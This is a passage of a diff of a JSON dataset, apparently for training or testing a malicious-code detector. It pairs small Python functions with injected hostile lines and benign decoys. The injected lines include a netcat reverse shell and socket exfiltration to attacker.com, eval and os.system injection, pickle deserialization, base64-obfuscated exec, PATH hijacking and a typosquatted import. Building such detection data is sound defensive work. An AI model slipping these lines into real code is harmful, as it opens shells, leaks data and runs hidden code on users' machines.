"attack_type": null
|
|
|
|
| 301 |
},
|
| 302 |
{
|
| 303 |
+
"id": "fp_a18f1d55",
|
| 304 |
"type": "false_positive",
|
| 305 |
+
"code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit",
|
| 306 |
"patch": null,
|
| 307 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 308 |
"label": "benign",
|
| 309 |
"source": "mutation_engine",
|
| 310 |
+
"attack_type": null
|
|
|
|
| 311 |
},
|
| 312 |
{
|
| 313 |
+
"id": "tp_0a39ab72",
|
| 314 |
"type": "true_positive",
|
| 315 |
+
"code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr",
|
| 316 |
+
"patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr",
|
| 317 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 318 |
"label": "malicious",
|
| 319 |
"source": "mutation_engine",
|
| 320 |
+
"attack_type": "eval_hidden"
|
|
|
|
| 321 |
},
|
| 322 |
{
|
| 323 |
+
"id": "tp_ca4bbdde",
|
| 324 |
"type": "true_positive",
|
| 325 |
+
"code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]",
|
| 326 |
+
"patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]",
|
| 327 |
+
"unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n",
|
| 328 |
"label": "malicious",
|
| 329 |
"source": "mutation_engine",
|
| 330 |
+
"attack_type": "subprocess_backdoor"
|
|
|
|
| 331 |
},
|
| 332 |
{
|
| 333 |
+
"id": "tp_bf8d1bfe",
|
| 334 |
+
"type": "true_positive",
|
| 335 |
+
"code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node",
|
| 336 |
+
"patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node",
|
| 337 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 338 |
+
"label": "malicious",
|
| 339 |
"source": "mutation_engine",
|
| 340 |
+
"attack_type": "pickle_deserialization"
|
|
|
|
| 341 |
},
|
| 342 |
{
|
| 343 |
+
"id": "tp_2222e46b",
|
| 344 |
"type": "true_positive",
|
| 345 |
+
"code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9",
|
| 346 |
+
"patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9",
|
| 347 |
+
"unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n",
|
| 348 |
"label": "malicious",
|
| 349 |
"source": "mutation_engine",
|
| 350 |
+
"attack_type": "pickle_deserialization"
|
|
|
|
| 351 |
},
|
| 352 |
{
|
| 353 |
+
"id": "fp_207e4e1e",
|
| 354 |
"type": "false_positive",
|
| 355 |
+
"code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a",
|
| 356 |
"patch": null,
|
| 357 |
+
"unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n",
|
| 358 |
"label": "benign",
|
| 359 |
"source": "mutation_engine",
|
| 360 |
+
"attack_type": null
|
|
|
|
| 361 |
},
|
| 362 |
{
|
| 363 |
+
"id": "fn_12f6fff8",
|
| 364 |
+
"type": "functional",
|
| 365 |
+
"code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1",
|
| 366 |
"patch": null,
|
| 367 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 368 |
"label": "benign",
|
| 369 |
"source": "mutation_engine",
|
| 370 |
+
"attack_type": null
|
|
|
|
| 371 |
},
|
| 372 |
{
|
| 373 |
+
"id": "tp_0cc30e49",
|
| 374 |
"type": "true_positive",
|
| 375 |
"code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True",
|
| 376 |
"patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True",
|
| 377 |
"unit_test_code": "import code\nassert code.is_prime(7) == True\n",
|
| 378 |
"label": "malicious",
|
| 379 |
"source": "mutation_engine",
|
| 380 |
+
"attack_type": "obfuscated_exec"
|
|
|
|
| 381 |
},
|
| 382 |
{
|
| 383 |
+
"id": "tp_b05e7338",
|
| 384 |
"type": "true_positive",
|
| 385 |
"code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params",
|
| 386 |
"patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params",
|
| 387 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 388 |
"label": "malicious",
|
| 389 |
"source": "mutation_engine",
|
| 390 |
+
"attack_type": "obfuscated_exec"
|
|
|
|
| 391 |
},
|
| 392 |
{
|
| 393 |
+
"id": "fp_ab0871e5",
|
| 394 |
+
"type": "false_positive",
|
| 395 |
+
"code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config",
|
| 396 |
+
"patch": null,
|
| 397 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 398 |
+
"label": "benign",
|
| 399 |
"source": "mutation_engine",
|
| 400 |
+
"attack_type": null
|
|
|
|
| 401 |
},
|
| 402 |
{
|
| 403 |
+
"id": "fn_5856494d",
|
| 404 |
+
"type": "functional",
|
| 405 |
+
"code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0",
|
| 406 |
"patch": null,
|
| 407 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 408 |
"label": "benign",
|
| 409 |
"source": "mutation_engine",
|
| 410 |
+
"attack_type": null
|
|
|
|
| 411 |
},
|
| 412 |
{
|
| 413 |
+
"id": "tp_7def19e9",
|
| 414 |
+
"type": "true_positive",
|
| 415 |
+
"code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed",
|
| 416 |
+
"patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed",
|
| 417 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 418 |
+
"label": "malicious",
|
| 419 |
"source": "mutation_engine",
|
| 420 |
+
"attack_type": "env_hijack"
|
|
|
|
| 421 |
},
|
| 422 |
{
|
| 423 |
+
"id": "tp_252ce24f",
|
| 424 |
"type": "true_positive",
|
| 425 |
+
"code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"",
|
| 426 |
+
"patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"",
|
| 427 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 428 |
"label": "malicious",
|
| 429 |
"source": "mutation_engine",
|
| 430 |
+
"attack_type": "pickle_deserialization"
|
|
|
|
| 431 |
},
|
| 432 |
{
|
| 433 |
+
"id": "tp_3ee58253",
|
| 434 |
+
"type": "true_positive",
|
| 435 |
+
"code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node",
|
| 436 |
+
"patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node",
|
| 437 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 438 |
+
"label": "malicious",
|
| 439 |
+
"source": "mutation_engine",
|
| 440 |
+
"attack_type": "env_hijack"
|
| 441 |
+
},
|
| 442 |
+
{
|
| 443 |
+
"id": "tp_d0021d28",
|
| 444 |
+
"type": "true_positive",
|
| 445 |
+
"code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit",
|
| 446 |
+
"patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit",
|
| 447 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 448 |
+
"label": "malicious",
|
| 449 |
+
"source": "mutation_engine",
|
| 450 |
+
"attack_type": "eval_hidden"
|
| 451 |
+
},
|
| 452 |
+
{
|
| 453 |
+
"id": "fn_25b4b8c5",
|
| 454 |
"type": "functional",
|
| 455 |
+
"code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1",
|
| 456 |
"patch": null,
|
| 457 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 458 |
"label": "benign",
|
| 459 |
"source": "mutation_engine",
|
| 460 |
+
"attack_type": null
|
|
|
|
| 461 |
},
|
| 462 |
{
|
| 463 |
+
"id": "fn_7f6af612",
|
| 464 |
"type": "functional",
|
| 465 |
+
"code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0",
|
| 466 |
"patch": null,
|
| 467 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 468 |
"label": "benign",
|
| 469 |
"source": "mutation_engine",
|
| 470 |
+
"attack_type": null
|
| 471 |
+
},
|
| 472 |
+
{
|
| 473 |
+
"id": "fp_e0d9d045",
|
| 474 |
+
"type": "false_positive",
|
| 475 |
+
"code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)",
|
| 476 |
+
"patch": null,
|
| 477 |
+
"unit_test_code": "import code\nassert code.fibonacci(5) == 5\n",
|
| 478 |
+
"label": "benign",
|
| 479 |
+
"source": "mutation_engine",
|
| 480 |
+
"attack_type": null
|
| 481 |
},
|
| 482 |
{
|
| 483 |
+
"id": "tp_c33c772f",
|
| 484 |
"type": "true_positive",
|
| 485 |
+
"code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit",
|
| 486 |
+
"patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit",
|
| 487 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 488 |
+
"label": "malicious",
|
| 489 |
+
"source": "mutation_engine",
|
| 490 |
+
"attack_type": "malicious_import"
|
| 491 |
+
},
|
| 492 |
+
{
|
| 493 |
+
"id": "tp_feb3331f",
|
| 494 |
+
"type": "true_positive",
|
| 495 |
+
"code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1",
|
| 496 |
+
"patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1",
|
| 497 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 498 |
"label": "malicious",
|
| 499 |
"source": "mutation_engine",
|
| 500 |
+
"attack_type": "socket_exfil"
|
|
|
|
| 501 |
},
|
| 502 |
{
|
| 503 |
+
"id": "fn_c5de55c8",
|
| 504 |
"type": "functional",
|
| 505 |
+
"code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result",
|
| 506 |
"patch": null,
|
| 507 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 508 |
"label": "benign",
|
| 509 |
"source": "mutation_engine",
|
| 510 |
+
"attack_type": null
|
|
|
|
| 511 |
},
|
| 512 |
{
|
| 513 |
+
"id": "fp_30c78296",
|
| 514 |
"type": "false_positive",
|
| 515 |
+
"code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1",
|
| 516 |
"patch": null,
|
| 517 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 518 |
"label": "benign",
|
| 519 |
"source": "mutation_engine",
|
| 520 |
+
"attack_type": null
|
| 521 |
+
},
|
| 522 |
+
{
|
| 523 |
+
"id": "tp_589eaa90",
|
| 524 |
+
"type": "true_positive",
|
| 525 |
+
"code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit",
|
| 526 |
+
"patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit",
|
| 527 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 528 |
+
"label": "malicious",
|
| 529 |
+
"source": "mutation_engine",
|
| 530 |
+
"attack_type": "typosquatting"
|
| 531 |
},
|
| 532 |
{
|
| 533 |
+
"id": "fn_7d91f211",
|
| 534 |
"type": "functional",
|
| 535 |
+
"code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True",
|
| 536 |
"patch": null,
|
| 537 |
+
"unit_test_code": "import code\nassert code.is_prime(7) == True\n",
|
| 538 |
"label": "benign",
|
| 539 |
"source": "mutation_engine",
|
| 540 |
+
"attack_type": null
|
| 541 |
+
},
|
| 542 |
+
{
|
| 543 |
+
"id": "tp_8209865e",
|
| 544 |
+
"type": "true_positive",
|
| 545 |
+
"code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a",
|
| 546 |
+
"patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a",
|
| 547 |
+
"unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n",
|
| 548 |
+
"label": "malicious",
|
| 549 |
+
"source": "mutation_engine",
|
| 550 |
+
"attack_type": "env_hijack"
|
| 551 |
}
|
| 552 |
]
|